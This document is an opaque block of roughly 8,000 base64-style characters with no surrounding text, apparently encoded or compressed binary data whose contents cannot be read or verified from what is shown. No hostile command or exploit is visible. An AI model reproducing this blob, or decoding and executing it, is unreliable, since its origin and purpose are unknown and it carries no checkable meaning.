ga2q05tpikfZNeIrpDk2wuBBTjBpMXFNyS+L7KK4k34/aeC50xPiy0mfO6ruFhMZh/ZTHCGfYZitXbHLPBda2QnOAWxXgI4bkG4F3e0IyZ+/rsG2lsUL4XbcQL5jEaVBeBv7eWFyVT3Cf1JZp/cgVcyzxhXB9Qf86CeK6sCY9b3h2+6f4v6/ojxyA7Uj7GF60n+ZvSGJjVjWt5zaeZ1HB5mAw/xW040ltEbCG8zYwL2wgGruiSZ+z+3g5zF5RvQ+MgeRW+o73sd4i+gtf8xgea+UgXnA6dC/LbXU1q0AbqB+ara/F+K3hgca6x/eik79d0N+4h6Bfy3Q2sGdIbBXs0XRfoo4vv0el0GcFCeP2QVb3yV2q5L18/D7JLRNYW2eMZ5Ue7RPvXIOemrlL+Nff5e5JnMyT6JinBrkPPnDrEe7rLP/Mt8bS493QNOZ/1jdYzF+zKfAv8FYZT5C6RIl/l/O/WBqDNsyi5+IclT3YP4wkVEm88K01JrZSM2c/mkkeIj6+b17NaIZ3yIztgdwbz8d34l21E4u1HD9fe/4sR0l+LJ+zupVZvD/Je597pqwOyZmcBN7i946Q3EcjuXLwvgHGEZM8amTcZ3fS5KiBvlHEULzM8iAjRNQrOdv1iL563uksmVwtrOL952KdKIzHzftF0vXoRtuvL2OWz2Lq8D0il6juM4lvEeW5rhqKPtAT3WMX7yAKdlwfFGOoVBGw+mZ+2NRn5o6czUqk/uGSwbsWqCth76Q1PodtZX1FF2GbcU7OI8hu9iQJTwtKU4nOA/lZI3mlwu+qC9pOxifFtUExjz49l6G+bx71N8iCOqljQ75vYS5cGptX+oyv4HnGyQq9xdCs1egdWTWwm/28jRXmbSw5OoAlZRNMdI+eEdxGveAna/bJu8leBax2l54BecoQ/zz65oUGyoNwtmIv/Cbxvj4N/D5grtq+d7mXF/fpjP5nktsv7F/onPvHUMr72AaOJfGfZLIHdHtfo2tw4Q+4fccY/YVokxkgCwgtHdgrdP3ofpDiuOsk14sEdseMm6S2J62Vq57nfkntUrlN844gLhrg/apQXs5H1Icpd8j947P8JFhrMr4LZhy+wO97xCjYB+qU+A6ZH+cry/1dmscjkU9b9O1nY0H5T3OTJLWCZtRXT3Uc7K/uqP4Z9GhE7jinumqR75/4wfpC4+lFKI4D83HhnXnJLf+OyBd2ceyP+ABsiMVL51CkE7QrheRuHPCahHX3TtfaIrlGODGyOw55//Zzzp7kAHKv9amgH9Wl97ozWtDzFpmbjCVSj+pqH2MF+0DM/s54LQbz6pSOISA59MDWqt8cB94ZuN0HtR0As3dJ7EoIOD00/LwMIVhyddeevKrvCQ4jsugGlkvyOI6x9i/QF97Nzxvz5cf72z0b3y15U8ACOZ2d+KTPdE5cHzXOtyeBLC/QFufjgr1r4tm08kJqGQjl+jqtk3vK4YscFsUzNLCBWaDfa/e04/NynOhYlFXtMr0Mz6LPebwjZ36zSn8hIU/45PwX1rzvdse7O3Tvrg78cOUZtGGu23ex7CLyTIa1+EfXvQL1Fd1t45Ez0hPV0zkf8KEfHRLMsXlmCj7GQ6yPk7h01GMkhibBazLH1sBuw1iip2lTyn2+Bbl6OPW5YSSfakku1UXqU6D59Nb9WD/TPAQXe3GR2IQDrfU5tv/u1sUjffgdephg2tOF3fXefk/vZly33TL8inpQ9WfjOsnjCPvHw3ODfpwXVsZzjSbJu3nsN+sktw3mEOs20+eeyP1a/D19d0tyqQMmB9uI+FVKbKZF/CxZW4pvyfOeB3PBe+pvwCN/zDiwAQX7C+A3zzF9rwu4ftyGcVeYbi4njmu7T5grJXmXxzPeqcms47ltniO69xWYF/SX+uHRt+XQ2vS584pGgH5BkpOE8KS+Tdsh8y/KE2WE+7Zo/6Y+/+E6dzYCPFIZvqF98QAc5J3nZY1lXRGjYE2YQKzF5/weGe/ZnSg54u1etHjrrp424+YGfucRPwOf9Ld5mX3R9j/xzz/xzz/xzz8c/kF5VnZml4vppLqPxEaQ++TFuACQa9QHX5SXRJ8ncQLD9a2YjlQfDkm+89oe6ZfWUMjN51pcAsYG4HmBFGU5z6X65r0YrTQXhFy4D0zuEaR52rL1JjnZPp77PM3Bnc93WszFjWcPeIYoYX3MtrpB/FceM6EsZ67DYNzPxBwuztrJ6mKk5+pZbu5cfqycLYzv0/se5Iylk/iVkjwwZA8v4+dK4na/Y4zo5zq/b1Cai8WOc4B6X+bN9Z7qmmSch8tcImmu8MIdlPO8Vahjkjyc9H1TrSZ5W85i2a/kL6L5NKdtfmeNnkpyiJzvV+kiZqgkL/cH8jWpG/Qjlnx+Pe92/n7E+7m3y8ZymYea1uz45pxNPyhv1Y08VcxKMVHmWasfmasquw/37XMvyUFyOx/VD8w/9cPyTdXL24/vVZ33QXLz3VvbKc2hU1pHzllaHOZSYX3Yz4An5M2MxksBL6c5Ad7mZq5ekPDOvcQ7636VnTlJbn+fxzYJRu4FqivF9S2KubYOi4s8T1diY7Nz/6zmRHa2QmmL51LpHbv3apFek2uVJOcw2B2cXyWxIp1GhdhW8fk31qEntetjnkA7bWqKsF/7e8xzhLW77sjRdL3vkhyDGLNqRg6tYcTeruuQ7pMr7VAevMxReH9OvNTXAJi4usDYUUfDs641yUXwLo9djFXGNX39M/McvZcnrXBmfkdt0pK8Efm7Zvm8SbfyStydRxdlHMkx3pZr9JywGN8xElVdF3kJY+8w5q7nZrU7ruRIupZzt5veBVis9z1GGWieJauH9bs5kyYc68lXMNND7jO5yTmn9CZ5NLeULcB83Abw5HCR6r337u7E/iH51D9c3FfJ7sGsZibJi/F+TgpO3Y85ZWflc1Kcqp+z+aZ551Pan+WW8mYsT/q7vKN4ltPWrZFzy9y7yXtvpfmycE3huaEh64WY4lwe+Di2mMg+uyKvSAznuHguT+zUZq0J8iVCG1VqUf/OM6m3meRkKm0r5X9SNwBstNxZGomVI/HJLsYK28mzazmqP+Xs2Py9novcys/Nuv/Mpfd3WIxjAduc5FYFftjOQYZRfyy7tSu4L3zQZwrWIzp14zg43G9n91zL6TKqhue5S/K1BNAmjM+2S3OCJLW9sC1JmARSsbYrg/HdEo3vxjpfjDWy8bw7pq9dRrO3HC+ADaKuoY036hOE7wu0vagly2Tx5LDWJu+ROPKgvE6AjXsxiTslz9B3is+IzJTEml17L/VZnuF2OcmZ5Q6Ad3V8x8QxkBwog2muriTKbEkg/s4sjuB6uyNVH0KbjSHg7R3GLZP8Am0am1+4R5bQCWQ8xuUlND+vYSjRmGF3sNgU2yR5xmKZk+TJDhs+yEI3y69NZJCbyCBphb8nsfNS2MP82yHgXXd5gr0MskeFNbP9GZ7BUl49YJ/Futb0viHIgA3Y2TtF8N6AQhjn3r3I7x1gzCLwlpvV2aBrlsv3fY2norIcPfIa7ErPQr9dmhsc7yLl2gson2ANl/vyjcfP43rkcvbk1vui5ive2419HiifSAwMyrArseqA71KstUmeA8xNPrvCz4QOPdcG+7yaz9vnO2nMjVfYq2c2mpvmjlrVWhi7Vc57LNG5t9rRPaMFbfh2KO+xvmjpvhiu82OMx0ewZ7b/A6OS5Rzd8IU9dJY/n7yD+fM9bKu1GIId4IzqX3L3SZM6OiltQQYnPELkJebFpzmppFP/Or8l6/KPxcOhHN+rLX0/wQS5vSwbk0BcSy1CLxfXRVilOCBEel+p752TyRgHP7zFxyc76Md8tz6vOVQiH5IYIIynWhbOHwvy+hIDhBe+gTDO5Qb0VE0V7/GQu8dSS8X7Kt8nqz0y74VK7uk3RMLnxXvryBdhnCcvHw+7uZuPi5gC99ZpoLWYvtCIwP6D36VDJsOVaII1Gr4BQ5zLkS7gtLL6SZQ/7uDLkKxlUWe4JfIKJArKzvPaS9O2D3acgWdDyX7Fu6h5vsW7Esz9sjq/VvF+Te4ex7o05aGzug6X/JDFIiQ0yfnSw5hvvwlTDS4x1XlOC5xjatvQO/0xzunIuzgXUMl63olpvO/aF5jXEDHM7b0Q644z24LwUkYDerc/kSmOWSPn4/99c5PwHASxwUI9q+Nd1GebzPamP1f5Su4oq4lZQ3/qeS4nogdyMcdhnLdlg7Ih9QeCfBh0KM6WOvSOPYyzQmqOCbl4iBHICLexQjpkeV0YV8FnOND1HeUwMTF/qg04D3RAcpY2kpPxkj0KNlEas4HxMnaoxPuPjMMb3Lhnivd9J9w2i5nwkprGl3d8U7uLI/LPpTZd9ankvDCuv4h3Z5XXfDwF0d9ld1mzuAoyp0kat331fjOe562mUXY2VsD8xfjNHzmH9M7IPfOg8Z4gxxab/FlLylNZzi8pkSnLrG6Y5NG99OTF98/iM2d6tkLzX9kln5GcWCscG+xN1irGyHu5sznGEmkMOIn9MVn0bUSTEwPyS2Qm2mYzMzFfBn8AHvya3JXqidJh1nIGavu4VsdOQ9fFvqaLjSH+GPV9L3pi56bS0DRnYI6e9j2uNuxF/BfH5QczvxH0Tx4+s3eY+J3Sn5bbc+X4d0VSdLmh4u+m09BaSV9qY+iR30eAaZVZa3NUTnVGCf2D4slV4ANJNSwB3uuZumLoHbllNx1pJi5HVsvYa2OxaZky7EGM0VctwMuBFW46urmUFNEfmUZD6HvqYNZaDqf6rmKbw6PeaVXnY9k0AvukG74/ahojU9+ytrcJJrplGHrr5HgSY3myDGNr2UBLws/JnQHj4A4onuLje1R7Wmf34F47N8K1v3Un4MYeiXNaZ3eXbvGscL4XMr9mt+wMSnJjm4bkn8NYHG9xD95DGZthV/G8jo1boItLzrSu2jKx7A9TH1IH7WX2VLJ3Ur9EMbda+R6TTHwO9+vV5zZZ/FSqT/G+VjcXF3Aud7pl8rjg6wT+oHr0gPKe5nDF3MorrLtO/JoBGUeToePBfMvAB+d17cd4H7aj2lQPnNegh/b8uA48vp/8XqxBf1lzHsYGemtrjVV/LODdKvo7zC0ZG/JQ8nuK8WAsQCd2T3NDU9v8jndiO9yAOdRGsU0Ocjuey4rgxBPm2ZxUhpfYF8aaYFUYa3K335ZCxGnQZp4WQbz/LvAufhfbiv7BzdGWYN9xDseO41yMY6HEvrs6FuTzZXEshT0l22U4GvqP7UW1+O6qZp/7PEp5MLt7k7d1GNtNYnIYvFcZ2ZVhqh9pjMw9v1MfLdnjubM4G+/KI53jHOQ0h1qMj6kMSO6OZvuM2gSbc10mU11MbFXiW0XsUpAb9D55d/R07DclBu/j0Gfw3E7G+Cf0ORLc0CP3UiiWj5/5TGM1JYbeW0v7ijA+0RKS52jbvaa0QR2s6VJmkxfeq8fPV0OptRNi30rRN57KcX9nAZ4BmxzPBGAurS+gk5cWp+/tdi185uL7z8JxY3jyQA/tw4hxwhnVo886a6xVwwiJbqR6EXSz0jCpTg2ehafaNNadZqum6auGPAT7U2n3OZ0+M50a/QPoxobeXDZ6FacF+63fD2qvsa7eOqzSnnU2+HsfdT/o5qoGunkUiis11udWs6EZmtgervz9yJPXE1btOitZ6AdDBr8feaxmGLJgeOofWlueaidfn3aWU1X3x70K9BGojKb1q0OvFo58caebTlflhq/DEa/outx3GOeP6diR+lytYrV3mtZRB/1wKeqezWodsWqKsjYypMjU1UBtqp0p4yh9sQ50lZjJyh8Ox+vDrOkcdO44non2wQpqb1qb3w51+G6lDs32grF0i52Fxgo+k7WO46mG4puh35ia1pvdnLw6mr/XvOO+z0HbTO2L0VYl3d3ue5UNB/P7olf87ojZ7UEmyNZp2TDbYtXS/S99U26ZK0eZd8RnK1RDWLORKjo1hTkaM399sER/N28B7QxLnLU8bqgbzbnpyDYrqshHWkseDBELtfg/Rox4sM1FxdGczoxRDIPzK6YpYy4nY9SRI72tVIYVca+u5B7mANA6G3HuyVxf2LG6yWqjFiuaKx/QgzKdVCRuqqmyzciDyYh3FWapaqYoOS2/4XBOn8S1t9RG3zS4fttQJ77yh+0ZkT52unZHbCttozHH+4QVsdXX+tFMZ19HobxRxoamccf2tGWsbdFQR6a/n4bOcqbzLS1UttMAMBOjHO3W8U3jxOWQVXqjUH2b6HLTZjfW1BO3szY7GWkqyDljPzGsSb+tuDqnrmeGMepXNo1RxXqe+h5nBKAXTg3GqGxCFfTWiJPHXWb3qrIO02cB0zQbTUt3glHYr1nRzjC0RqTqjjQSeMmJeGXqLbgeO3wF/eupAT/SvF1z2mIi4K2dxgKuqDT+0FuOqnjLg+a3IqAuZzNiUxWVZ7AXa4BJ/lBbR9ESraXq8X1LW06nrPHH6GSw0wrgwqZdm4mNphLxgJ23rMq1Xk3NGig6e5yb7LNzUsz+2DtNOyAv/MVh2hGBl461ib9sW8L21VrJXp8bHqw24JuKyFkndaB21lXLW1b7At+3OdkHbM0pHUVToi3j6MYfIOuAR1jN0iy/zwxP2krfa6vG2AxkZtbxataqXgO+i0yXd/srn+sHVl+FNXa8bc0eTyqTEzzH7DbPorGZGiCn9aU706xoatjcRGudrKD6Og8nlX6029smH03bSt9idobqL01d2AWzlR51mSPY9+vqSD92YR9WTc9vDplJrcc2dLsFPNBpCE7gDEF27rWmj1nknkepPQF87fEjoGHThL04GJH6BmksFujTX4meGBO75Ux3WESXDkZUp6JuLo2TiXMCfCPGHiHGxnP4WM67H8bY7+HSTA9ewcFZvZj7sXWiI69jdkqb9Ex1Qc7hxv087qex9fdg63gONCb6g+NKay3YX/P3gd+l7ercf4u4l/jrEDct47yAhIdSH2CYt82WFH91YnycnFEAnsPnY6xXhl01iksRf9fi34dF7FqGyYPYv4g2ohf/rr2PyYEnMK8T9tUkOPsOHJ+cVeEc9Pj3OzA58e0S7I8++7N+epXEjijFrLEvGjFqRkeCs+Hfgo1BYux+AB7/eDuJnCi0U+Dha+0lvm2xOJcBtl88u8mf96cyJr0XXPR3J3Hl3SRvcOzLTOVA7L/t5uRT9/welNTcpnsa7784bf2zmuYuaTTAHjlJYgP2rUXjybmljzliDLd6lARmcas9IiN8WhPmnn6Hgcg4NP+JoDZpXrlijPtw8Rylcg1js2EP1JrAZzWbjHm4kAMFeNP7ijEk8f08vEu3LOTo4EguE6SbC3ujRm2iJTMzD1RG5vKCJnItie3Hs7D4s8zGOHsG7fypOVl00R6In5Xd+mHe6h/6GMdF4rka1eGpfujTWon7XtTQZpzyao2HXcxbZAVPJD+AHZFzjjS2RhKwFhf1Y0jCZNHvLBt4d6wb12Cft1q0j86224ueSPz/JMC7Nv0FyVcD4wf+DGY0x82W8EwWi3U55uaiMObnZmHMoN8cFuzCSHAxL561J3crI4bYO9n9gTr6NePYgnqA7Sgr2g65Z9RZcHQOGEP4tJda8hZpIXWUA/D7ZmIeCjSZuO/RZMEUaNIcFmiS93kVxs0N3x13vzjuqDhucmaHugN5GPM6rabA+8U++u/3oRX6OBb7sGTVQ30LsmVYWMtDfi2TuRpm7XUW8JXZovAsm9ia+IxGY1JTGvdWTAkfkDuKwAdPC7kihRiPgutMcwvdfO/wnL5nf+g9hb7XLfmumo2lT9usLEIJaPa8WF/SE3kY6QlyU49sjCsLeyOb5IehNHXQfj+k6yRU+RKeAh6SkKd+xTgQOap/ARm7k8l9iffeayXvVT72Xr2K7wnu5XcK5W9s80TbdKrwL9BkXUYvJqUX28/WAO+HLsg+HsNe2Fr1lEfeYN+U0BHWJKaj7WZ0fD68/17fpe850QffwzxBh7I1ldI1xRzX2OYc/gWafCmjF+7bmF56bg2IrE5r6gl0PXB//vzXf5nvp/6/zabb+Zfq/+/M7bUz/7f/hf//93//66d/+c+//z8=